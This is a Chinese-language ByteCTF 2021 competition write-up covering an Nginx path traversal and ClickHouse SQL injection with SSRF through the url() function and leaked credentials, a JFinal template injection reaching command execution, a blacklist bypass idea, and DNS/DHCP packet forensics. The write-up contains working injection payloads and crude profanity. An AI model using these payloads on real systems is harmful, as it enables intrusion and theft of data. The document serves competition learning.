2021_ByteCTF_WP

Web-double sqli

这题是真的学新知识,完全没用过的 clickhouse,看了一下午的文档。

考点:

  • Nginx 目录穿越
  • clickhouse sql 注入

构造 /files../ 可以访问到根目录,以读取配置文件及一些敏感信息:(Nginx在配置别名(Alias)的时候,如果忘记加 /,将造成一个目录穿越漏洞)

1
2
port: 9000
user_01: e3b0c44298fc1c149afb

随便输了点七里八里的值得到了后端逻辑

1
SELECT ByteCTF FROM hello WHERE 1 = `$sql`

clickhouse 的文档:https://clickhouse.com/docs/zh/sql-reference/statements/select/all/

可以构造出:

1
2
3
4
0||(select * from system.tables limit 0,1)
0||(select name from system.databases limit 0,1)
0||(select * from ctf.hint limit 0,1)
0||(select * from ctf.flag limit 0,1)

clickhouse 和之前学过的 sql 有蛮多区别,我们当前的用户是 user_02,没有权限去读 ctf.flag,在 /var/lib/clickhouse/ 发现了 user_01 用户及其密码:

1
2
ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
ATTACH GRANT SELECT ON ctf.* TO user_01;

饶了四五个小时绕回来最开始看到的 url 函数(老子一🔪把尼🐎🦈了,然后爬尼🐎坟上撒尿,最后偷吃尼🐎贡品🍎)

最后,clickhouse 提供了一个屌寄霸接口在 8123 端口,可以利用 clickhouse 自带的函数 url 来 ssrf 然后打内网

The HTTP interface lets you use ClickHouse on any platform from any programming language. We use it for working from Java and Perl, as well as shell scripts. In other departments, the HTTP interface is used from Perl, Python, and Go. The HTTP interface is more limited than the native interface, but it has better compatibility.

By default, clickhouse-server listens for HTTP on port 8123 (this can be changed in the config).

1
0||(select * from url('http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520*%2520from%2520ctf.flag', CSV, 'column1 String'))

flag 给👴出:ByteCTF{e3b0c44298fc1c149afbf4c8}


最后补充一个🍋研究的盲注的思路~

1
0 OR startsWith((extractAll(((select * from system.databases limit 1,1).2), '.')[0]),'2')

extractAll(str, ‘.’) 可以将字符串逐位分割,同时数组可以使用 [0] 进行访问而元组可以使用 .0 的方式访问。使用 startsWith 配合字符串可以进行逐位爆破。

Web-Unsecure Blog

后台 admin,账号密码 jfnial / 111111

可以在浏览发现一个 jfinal enjoy 模板的 ssti,可以表达式注入:(文档:https://jfinal.com/doc/6-4)

1
#(x=123)#(x)#(123)

构造生成类:

1
2
#(1.class.forName("java.lang.Runtime"))
#(1.class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval('java.lang.ProcessBuilder('calc').start()'))

上述表达式有问题,比赛的时候有段时间测的可以,不过后来不行了,如图

贴一下 JFinal Enjoy 的内置黑名单的类 com.jfinal.template.expr.ast.MethodKit 的源码:https://github.com/jfinal/jfinal/blob/master/src/main/java/com/jfinal/template/expr/ast/MethodKit.java,它的静态代码块中定义了限制类和方法的黑名单:

1
2
3
4
5
6
7
8
9
10
String[] ms = {
"getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader",
"invoke", // "getMethod", "getMethods", // "getField", "getFields",
"notify", "notifyAll", "wait",
"exit", "loadLibrary", "halt", // "load",
"stop", "suspend", "resume", // "setDaemon", "setPriority"

"removeForbiddenClass",
"removeForbiddenMethod"
};

在拜读了 @Mrkaixin 大大大师傅(谭总牛逼)的 WP 后,学习到了可以通过调用一些类的静态方法来获取实例,比如 net.sf.ehcache.util.ClassLoaderUtil createNewInstance,这个方法没被黑名单过滤(推荐一波这个网站:https://www.tabnine.com/code,搜 JAVA 代码很好用)

1
2
3
public static Object createNewInstance(String className) throws CacheException {
return createNewInstance(className, new Class[0], new Object[0]);
}

靶机无了,寄!

Web-Aginx

面向大师傅 WP 的解题:https://impakho.com/post/bytectf-2021-aginx-writeup

Misc-frequently

被🍋带着出了一半 flag,彳亍,赛后再跟着🍋的 WP 复现了一下,最后还是出了,彳亍。

在 WireShark 分析可以发现发现大量来自 xxxx.bytedanec.net 的 DNS 查询请求,将其域名的第一段分离出来,使用 Base64 进行解码可以得到一张没用的图片,继续进行分析,将剩余 DNS 请求中的 i、o 提取出来进行处理(CyberChef)

1
2
3
4
5
6
Find_/_Replace({'option':'Regex','string':'i\\n'},'1',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'o\\n'},'0',true,false,true,false)
Find_/_Replace({'option':'Regex','string':' '},'',true,false,true,false)
From_Binary('Space',8)

The first part of flag: ByteCTF{^_^enJ0y&y0u9

得到第一段 flag。随后可以在流量包中发现 DHCP 包,将 ACK 中包含的 IP Address Lease Time 提取出来可以得到后一半 flag。

1
se1f_wIth_m1sc^_^}

完整 flag:

1
ByteCTF{^_^enJ0y&y0u9se1f_wIth_m1sc^_^}